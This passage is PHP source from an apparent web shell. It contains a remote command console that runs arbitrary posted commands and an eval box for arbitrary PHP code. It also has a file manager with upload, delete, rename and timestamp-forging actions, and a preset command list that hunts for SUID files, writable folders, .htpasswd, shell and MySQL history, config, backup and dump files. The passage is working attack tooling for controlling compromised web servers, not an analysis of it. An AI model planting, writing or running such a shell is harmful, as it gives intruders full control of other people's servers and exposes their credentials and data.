break;\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\n\t\t\t\t}\n\t\t\t\t$n++;\n\t\t\t\tif ($n == 32) {\n\t\t\t\t\t$n = 0;\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\n\t\t\t\t\t$h[1] .= \'<br>\';\n\t\t\t\t\t$h[2] .= "\\n";\n\t\t\t\t}\n\t\t \t}\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#060a10><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\n\t\t\tbreak;\n\t\tcase \'rename\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\n\t\t\t\telse\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'touch\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\n\t\t\t\tif($time) {\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\n\t\t\t\t\t\techo \'Fail!\';\n\t\t\t\t\telse\n\t\t\t\t\t\techo \'Touched!\';\n\t\t\t\t} else echo \'Bad time format!\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\t/* (С) 12.2015 mitryz */\n\t\tcase \'frame\':\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\n\t\t\tif ($frameSrc[0] != \'/\')\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\n\t\t\tbreak;\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nif($os == \'win\')\n\t$aliases = array(\n\t\t"List Directory" => "dir",\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\n    \t"Show active connections" => "netstat -an",\n    \t"Show running services" => "net start",\n    \t"User accounts" => "net user",\n    \t"Show computers" => "net view",\n\t\t"ARP Table" => "arp -a",\n\t\t"IP Configuration" => "ipconfig /all"\n\t);\nelse\n\t$aliases = array(\n  \t\t"List dir" => "ls -lha",\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\n        "process status" => "ps aux",\n\t\t"Find" => "",\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\n\t\t"Locate" => "",\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\n\t\t"locate my.conf files" => "locate my.conf",\n\t\t"locate admin.php files" =>"locate admin.php",\n\t\t"locate cfg.php files" => "locate cfg.php",\n\t\t"locate conf.php files" => "locate conf.php",\n\t\t"locate config.dat files" => "locate config.dat",\n\t\t"locate config.php files" => "locate config.php",\n\t\t"locate config.inc files" => "locate config.inc",\n\t\t"locate config.inc.php" => "locate config.inc.php",\n\t\t"locate config.default.php files" => "locate config.default.php",\n\t\t"locate config* files " => "locate config",\n\t\t"locate .conf files"=>"locate \'.conf\'",\n\t\t"locate .pwd files" => "locate \'.pwd\'",\n\t\t"locate .sql files" => "locate \'.sql\'",\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\n\t\t"locate backup files" => "locate backup",\n\t\t"locate dump files" => "locate dump",\n\t\t"locate priv files" => "locate priv"\n\t);\nfunction actionConsole() {\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\n        $_POST[\'p1\'] .= \' 2>&1\';\n    } elseif(!empty($_POST[\'p1\']))\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\techo "d.cf.cmd.value=\'\';\\n";\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\n\t\t\tif(@chdir($match[1])) {\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\n\t\t\t}\n\t\t}\n\t\techo "d.cf.output.value+=\'".$temp."\';";\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\n\t\t$temp = ob_get_clean();\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\thardHeader();\n    echo "<script>\nif(window.Event) window.captureEvents(Event.KEYDOWN);\nvar cmds = new Array(\'\');\nvar cur = 0;\nfunction kp(e) {\n\tvar n = (window.Event) ? e.which : e.keyCode;\n\tif(n == 38) {\n\t\tcur--;\n\t\tif(cur>=0)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur++;\n\t} else if(n == 40) {\n\t\tcur++;\n\t\tif(cur < cmds.length)\n\t\t\tdocument.cf.cmd.value = cmds[cur];\n\t\telse\n\t\t\tcur--;\n\t}\n}\nfunction add(cmd) {\n\tcmds.pop();\n\tcmds.push(cmd);\n\tcmds.push(\'\');\n\tcur = cmds.length-1;\n}\n</script>";\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\n\t\tif($v == \'\') {\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\n\t\t\tcontinue;\n\t\t}\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\n\t}\n\t\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\n\t}\n\techo \'</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\n\thardFooter();\n}\nfunction actionPhp() {\n\tif( isset($_POST[\'ajax\']) ) {\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit; \n\t}\n\thardHeader();\n\tif( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {\n\t\techo \'<h1>PHP info</h1><div class=content>\';\n\t\tob_start();\n\t\tphpinfo();\n\t\t$tmp = ob_get_clean();\n\t\t$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);\n\t\t$tmp = preg_replace(\'!a:\\w+ {.*}!msiU\',\'\',$tmp);\n\t\t$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);\n\t\t$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\n\t\t$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);\n\t\techo $tmp;\n\t\techo \'</div><br>\';\n\t}\n\tif(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\t$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\n\t\techo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\n\techo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\n\tif(!empty($_POST[\'p1\'])) {\n\t\tob_start();\n\t\teval($_POST[\'p1\']);\n\t\techo htmlspecialchars(ob_get_clean());\n\t}\n\techo \'</pre></div>\';\n\thardFooter();\n}\nfunction actionFilesMan() {\n    if (!empty ($_COOKIE[\'f\']))\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n    \n\tif(!empty($_POST[\'p1\'])) {\n\t\tswitch($_POST[\'p1\']) {\n\t\t\tcase \'uploadFile\':\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\n                                echo "Can\'t upload file!";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'mkdir\':\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\t\t\t\t\techo "Can\'t create new dir";\n\t\t\t\tbreak;\n\t\t\tcase \'delete\':\n\t\t\t\tfunction deleteDir($path) {\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\t\t\t\t\t$dh  = opendir($path);\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\n\t\t\t\t\t\t$▟ = $path.$▟;\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t$type = filetype($▟);\n\t\t\t\t\t\tif ($type == "dir")\n\t\t\t\t\t\t\tdeleteDir($▟);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($▟);\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\t@rmdir($path);\n\t\t\t\t}\n\t\t\t\tif(is_array(@$_POST[\'f\']))\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n                        if($f == \'..\')\n                            continue;\n\t\t\t\t\t\t$f = urldecode($f);\n\t\t\t\t\t\tif(is_dir($f))\n\t\t\t\t\t\t\tdeleteDir($f);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($f);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'paste\':\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\t\t\t\t\tfunction move_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        if ($zip->open($_POST[\'p2\'], 1)) {\n                            chdir($_COOKIE[\'c\']);\n                            foreach($_COOKIE[\'f\'] as $f) {\n                                if($f == \'..\')\n                                    continue;\n                                if(@is_file($_COOKIE[\'c\'].$f))\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n                                    foreach ($iterator as $key=>$value) {\n                                        $zip->addFile(realpath($key), $key);\n                                    }\n                                }\n                            }\n                            chdir($GLOBALS[\'cwd\']);\n                            $zip->close();\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        foreach($_COOKIE[\'f\'] as $f) {\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\n                                $zip->extractTo($GLOBALS[\'cwd\']);\n                                $zip->close();\n                            }\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n                    chdir($_COOKIE[\'c\']);\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n                    chdir($GLOBALS[\'cwd\']);\n\t\t\t\t}\n\t\t\t\tunset($_COOKIE[\'f\']);\n                setcookie(\'f\', \'\', time() - 3600);\n\t\t\t\tbreak;\n\t\t\tdefault:\n                if(!empty($_POST[\'p1\'])) {\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n    hardHeader();\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\n\tglobal $sort;\n\t$sort = array(\'name\', 1);\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\t\t\t$sort = array($match[1], (int)$match[2]);\n\t}\necho "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n\t$dirs = $files = array();\n\t$n = count($dirContent);\n\tfor($i=0;$i<$n;$i++) {\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\t\t$tmp = array(\'name\' => $dirContent[$i],\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\t\t\t\t\t);\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\t}\n\t$GLOBALS[\'sort\'] = $sort;\n\tfunction cmp($a, $b) {\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\t\telse\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n\t}\n\tusort($files, "cmp");\n\tusort($dirs, "cmp");\n\t$files = array_merge($dirs, $files);\n\t$l = 0;\n\tforeach($files as $f) {\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n\t\t$l = $l?0:1;\n\t}\n\techo "<tr id=fak><td colspan=7>\n\t<input type=hidden name=ne value=\'\'>\n\t<input type=hidden name=a value=\'FilesMan\'>\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n\t<label><select name=\'p1\'>";\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n        echo "<option value=\'paste\'>↳ Paste</option>";\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n    if(class_exists(\'ZipArchive\'))\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\n    echo "<option value=\'tar\'>+ tar.gz</option>";\n    echo "</select></label>";\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\n\thardFooter();\n}\nfunction actionStringTools() {\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\n\tif(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\n\tif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\n\t$stringTools = array(\n\t\t\'Base64 encode\' => \'base64_encode\',\n\t\t\'Base64 decode\' => \'base64_decode\',\n\t\t\'Url encode\' => \'urlencode\',\n\t\t\'Url decode\' => \'urldecode\',\n\t\t\'Full urlencode\' => \'full_urlencode\',\n\t\t\'md5 hash\' => \'md5\',\n\t\t\'sha1 hash\' => \'sha1\',\n\t\t\'crypt\' => \'crypt\',\n\t\t\'CRC32\' => \'crc32\',\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\n\t\t\'HEX to DEC\' => \'hexdec\',\n\t\t\'HEX to BIN\' => \'hex2bin\',\n\t\t\'DEC to HEX\' => \'dechex\',\n\t\t\'DEC to BIN\' => \'decbin\',\n\t\t\'BIN to HEX\' => \'binhex\',\n\t\t\'BIN to DEC\' => \'bindec\',\n\t\t\'String to lower case\' => \'strtolower\',\n\t\t\'String to upper case\' => \'strtoupper\',\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\n\t\t\'String length\' => \'strlen\',\n\t);\n\tif(isset($_POST[\'ajax\'])) {\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n\t\tob_start();\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n\t\techo strlen($temp), "\\n", $temp;\n\t\texit;\n\t}\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n\thardHeader();\n\techo \'<h1>String conversions</h1><div class=content>\';\n\techo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><label><select name=\'selectTool\'>";\n\tforeach($stringTools as $k => $v)\n\t\techo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\n\t\techo "</select></label><input type=\'submit\' value=\'submit\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n\t}\n\techo"</pre></div><br><h1>Search files:</h1><div class=content>\n\t\t<form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\n\t\t\t<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\n\t\t\t<tr><td></td><td><input 